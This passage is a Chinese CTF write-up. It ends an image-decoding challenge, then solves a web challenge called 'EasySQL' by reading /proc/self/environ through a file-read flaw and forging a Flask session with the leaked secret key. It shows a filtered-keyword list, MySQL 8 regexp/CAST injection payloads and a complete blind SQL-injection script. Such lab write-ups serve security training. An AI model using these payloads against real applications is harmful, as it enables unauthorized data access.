????cv2.imshow("image",decode_image)
????cv2.waitKey(10)
????cv2.imwrite(i,decode_image)
????return?decode_image
final?=?imread('flag.png')

for?z?in?range(0,100):
????i?=?str(z)?+?'.png'
????arnold_decode(final,?10,?z,z)

爆破到30时得到flag



Web: EasySQL


题目是刚开始是一个登录页面:

可以选择注册,随便注册一个用户后登录进去:


在注册的时候发现注册不了 admin 用户,可以猜测 admin 用户已经存在,尝试弱口令 admin/admin 成功登录 admin:

发现此时 home page 中的 profiles 的内容不一样了,我们可以猜测到源码根据登陆的用户名在数据库中查询不同的profiles。


我们查看并解密 flask session,得到如下内容:

.eJwdzEEOwjAMRNGrWF5XHKA7jhKoGxu1cWVPhCrE3UnZ_tG8D1tuXq3xjOgy8WFPnvlRWpO4vY7KI4WvtkmOfl92a5aIAg_qKTHR26AEFVKrKgkqHephOAn-H_JMyD6k6zCUcin8_QG_kSwq.YZCOdg.76OBKiZRQkFj4EzAiF9ymsPKp2M

可以在解密后的session中看到几个主要的属性,其中就有user和profiles,我们猜测这里的 user 可能会存在sql注入,通过在user属性处设置payload来对mysql进行注入。

但是要从session里进行注入必须先成功伪造session,也就是说必须先获取到 session SECRET_KEY。

我们看到,sesison中还有一个属性 pic,标志了home page中显示的图片,并且我们查看源码可以看到图片是通过base64的形式显示的,而且还加载了一个 images.js:


查看 images.js的代码:

$(document).ready(function?()?{
????var?datas?=?new?Object();
????datas.islogin?=?true;
????datas.pic?=?"banner.jpg";
????var?data?=?JSON.stringify(datas)

????$.ajax({
????????url:?"/images",
????????type:?"POST",
????????data:?data,
????????success:?function?(msg)?{
????????????if(location.href.indexOf("#reloaded")==-1){
????????????????location.href=location.href+"#reloaded";
????????????????location.reload();
????????????}
????????}
????})
})

可以发现 home page 中的 ?images.js 是通过向 /images 路由发送 json 请求来设置显示的图片的,我们可以抓包来修改发送的 pic 从而实现任意文件读取。

如下抓包:

并将 pic 改为要读取的数据。这里我们尝试在 /proc/self/environ 中读取 SECRET_KEY:


获取set-cookie中的session,使用这个新的session在burpsuite中去重新访问/home:


如上图,此时便成功读取到了 ?/proc/self/environ 的内容:


得到SECRET_KEY=ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada,还得到一个hint:HINT_IS_HERE=Mysql 8, and I executed CREATE DATABASE ctf DEFAULT COLLATE utf8_general_ci。

然后我们便可以尝试伪造session并进行注入了。经尝试,user 处过滤了以下关键字:

union|\"|\\|#|order|?|and|&|update|value|,|insert|chr|mid|ascii|substr|left|exec|if|sleep|join|truncate|outfile|lpad|rpad|-|mysql|limit

不过我们还是可以尝试 regexp 注入。

我们知道 regexp 注入的常用方法类似于以下payload:

user=1'||(select(flag)from(flag))/**/regexp/**/binary/**/0x7c#

//?加上binary关键字用于区分大小写

进入sql查询语句后就变为了:

select?profiles?from?users?where?username='1'||(select(flag)from(flag))/**/regexp/**/binary/**/0x7c#';

我们可以控制最后面的 0x7c 数据来匹配注入得到数据库里的数据。在网上关于mysql的regexp注入的方法都是像上述这样的,但是这里我们要注意:

/proc/self/environ 中的hint 说了?Mysql 8, and I executed CREATE DATABASE ctf DEFAULT COLLATE utf8_general_ci,当前数据库版本为 mysql 8,而在该版本中,MySQL不允许?REGEXP BINARY在 "nonbinary"类型的数据上使用,不管他是CHAR, VARCHAR还是 TEXT。

在对utf8_general_ci类型的数据直接调用 regexp 时会报错的:

要想正确使用regexp与binary,我们需要结合CAST 关键字来将查询的结果转换为binary类型(还可以通过like或者条件运算符进行绕过):
select?profiles?from?users?where?username='1'||CAST((select(username)from(users))/**/as/**/BINARY)/**/regexp/**/binary/**/0x5e61;

这样就可以成功执行了。

最终我们编写如下盲注脚本:

import?requests
from?flask?import?Flask
from?flask.sessions?import?SecureCookieSessionInterface
import?base64
import?pickle
import?string


def?str2hex(string):??#?转换16进制,16进制在数据库执行查询时又默认转换成字符串
??result?=?''
??for?i?in?string:
????result?+=?hex(ord(i))
??result?=?result.replace('0x','')
??return?'0x'+result


def?MakeSession(payload):????#?伪造?session
???app?=?Flask(__name__)
???app.config["SECRET_KEY"]?=?"ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada"
???session_serializer?=?SecureCookieSessionInterface().get_signing_serializer(app)

???session_str?={"islogin":?True,"user":?payload}
???fake_session?=?session_serializer.dumps(session_str)
???#print(fake_session)
???return?fake_session


def?exp(url,?session):????#?攻击
???cookies?=?{
??????"session":?session
???}

???res?=?requests.get(url=url,?cookies=cookies)
???return?res.text

if?__name__?==?"__main__":
???flag?=?''
???url?=?"http://host:ip/home"
???#payload?=?"1'||(select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))regexp({0})||'"
???#payload?=?"1'||(select(group_concat(column_name))from(information_schema.columns)where(table_name)in('flagggishere'))regexp({0})||'"
???#payload?=?"1'||(CAST((select(group_concat(username))from(users))as/**/BINARY)regexp(binary({0})))||'"
???payload?=?"1'||(CAST((select(f1aggggggg)from(flagggishere))as/**/BINARY)regexp(binary({0})))||'"
???for?i?in?range(100):
??????for?j?in?string.ascii_letters+string.digits+"_,{}-":

?????????if?j?==?"{":????#?这里要对?payload?里的?{?和?}?进行转义一下
????????????j?=?"\{"
?????????if?j?==?"}":
????????????j?=?"\}"

?????????user?=?str2hex('^'?+?flag?+?j)
?????????payloads?=?payload.format(user)
?????????session?=?MakeSession(payloads)
?????????#print(exp(url,?session))
?????????if?"Administrator"?in?exp(url,?session):
????????????flag?+=?j
????????????print("[+]?"?+?flag)
????????????break

最终在 flagggishere 表的f1aggggggg字段中得到了flag:


去掉反斜杠后即为flag。

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接